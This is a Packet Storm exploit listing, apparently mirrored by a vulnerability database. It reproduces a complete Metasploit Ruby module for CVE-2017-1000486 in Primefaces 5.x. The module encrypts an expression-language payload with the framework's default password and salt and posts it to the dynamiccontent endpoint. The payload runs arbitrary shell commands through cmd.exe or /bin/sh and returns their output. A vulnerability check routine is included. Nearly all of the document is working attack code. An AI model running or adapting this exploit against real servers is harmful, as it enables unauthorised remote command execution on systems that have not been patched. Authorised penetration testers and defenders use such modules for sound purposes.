Lucene search

K
packetstormBjoern SchuettePACKETSTORM:145973
HistoryJan 18, 2018 - 12:00 a.m.

Primefaces 5.x Remote Code Execution

2018-01-1800:00:00
Bjoern Schuette
packetstormsecurity.com
74

0.968 High

EPSS

Percentile

99.6%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::HttpClient  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'CVE-2017-1000486 Primefaces Remote Code Execution Exploit',  
'Description' => %q{  
This module exploits an expression language remote code execution flaw in the Primefaces JSF framework.  
Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack, due to the use of weak crypto and default encryption password and salt.  
},  
'Author' => [ 'Bjoern Schuette' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', 'CVE-2017-1000486'],  
['URL', 'http://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html'],  
['URL', 'https://cryptosense.com/weak-encryption-flaw-in-primefaces/'],  
['URL', 'http://schuette.se/2018/01/16/in-your-primeface/']  
],  
'Privileged' => true,  
'Payload' =>  
{  
'Compat' =>  
{  
'PayloadType' => 'cmd'  
}  
  
},  
'DefaultOptions' =>  
{  
'WfsDelay' => 30  
},  
'DisclosureDate' => 'Feb 15 2016',  
'Platform' => ['unix', 'bsd', 'linux', 'osx', 'win'],  
'Arch' => ARCH_CMD,  
'Targets' => [  
[  
'Universal', {  
'Platform' => ['unix', 'bsd', 'linux', 'osx', 'win'],  
'Arch' => [ ARCH_CMD ],  
},  
],  
],  
'DefaultTarget' => 0))  
  
register_options([  
Opt::RPORT(80),  
OptString.new('PASSWORD', [ true , "The password to login", 'primefaces']),  
OptString.new('TARGETURI', [true, 'The base path to primefaces', '/javax.faces.resource/dynamiccontent.properties.xhtml']) ,  
OptString.new('CMD', [ false , "Command to execute", '']),  
])  
end  
  
def encrypt_el(password, payload)  
  
salt = [0xa9, 0x9b, 0xc8, 0x32, 0x56, 0x34, 0xe3, 0x03].pack('c*')  
iterationCount = 19  
  
cipher = OpenSSL::Cipher.new("DES")  
cipher.encrypt  
cipher.pkcs5_keyivgen password, salt, iterationCount  
  
ciphertext = cipher.update payload  
ciphertext << cipher.final  
return ciphertext  
  
end  
  
def http_send_command(cmd, payloadEL)  
uri = normalize_uri(target_uri.path)  
encrypted_payload = encrypt_el(datastore['PASSWORD'], payloadEL)  
encrypted_payload_base64 = Rex::Text.encode_base64(encrypted_payload)  
encrypted_payload_base64_url_encoded = Rex::Text.uri_encode(encrypted_payload_base64)  
  
# send the payload and execute command  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => uri,  
'vars_post' => {  
'pfdrt' => 'sc',  
'ln' => 'primefaces',  
'pfdrid' => encrypted_payload_base64_url_encoded  
}  
})  
  
if res.nil?  
vprint_error("Connection timed out")  
fail_with(Failure::Unknown, "Failed to trigger the Enter button")  
end  
  
if res && res.headers && (res.code == 302 || res.code == 200)  
print_good("HTTP return code #{res.code}")  
else  
vprint_error(res.body)  
fail_with(Failure::Unknown, "#{peer} - Unknown error during execution")  
end  
return res  
end  
  
def exploit  
cmd=""  
if not datastore['CMD'].empty?  
cmd = datastore['CMD']  
else  
cmd = payload.encoded  
end  
payloadEL = '${facesContext.getExternalContext().getResponse().setContentType("text/plain;charset=\"UTF-8\"")}'  
payloadEL << '${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}'  
payloadEL << '${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}'  
payloadEL << '${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}'  
payloadEL << '${session.getAttribute("scriptengine").eval('  
payloadEL << '"var os = java.lang.System.getProperty(\"os.name\");'  
payloadEL << 'var proc = null;'  
payloadEL << 'os.toLowerCase().contains(\"win\")? '  
payloadEL << 'proc = new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"cmd.exe\",\"/C\",\"%s\"]).start()' % cmd  
payloadEL << ' : proc = new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"%s\"]).start();' % cmd  
payloadEL << 'var is = proc.getInputStream();'  
payloadEL << 'var sc = new java.util.Scanner(is,\"UTF-8\"); var out = \"\";'  
payloadEL << 'while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);")}'  
payloadEL << '${facesContext.getExternalContext().getResponse().getWriter().flush()}'  
payloadEL << '${facesContext.getExternalContext().getResponse().getWriter().close()}';  
  
vprint_status("Attempting to execute: #{cmd}")  
resp = http_send_command(cmd, payloadEL)  
print_line(resp.body.to_s)  
m = resp.body.to_s   
if m.empty?  
print_error("This server may not be vulnerable")  
end  
return  
end  
  
def check  
var_a = rand_text_alpha_lower(4)  
payloadEL = "${facesContext.getExternalContext().setResponseHeader(\"primesecretchk\", %s" % var_a  
res = http_send_command(var_a, payloadEL)  
if res.headers  
if res.headers["primesecretchk"] == #{var_a}  
vprint_good("Victim evaluates EL expressions")  
return Exploit::CheckCode::Vulnerable  
end  
else  
vprint_error("Unable to determine due to a HTTP connection timeout")  
return Exploit::CheckCode::Unknown  
end  
return Exploit::CheckCode::Safe  
end  
  
end  
  
`

0.968 High

EPSS

Percentile

99.6%

Related for PACKETSTORM:145973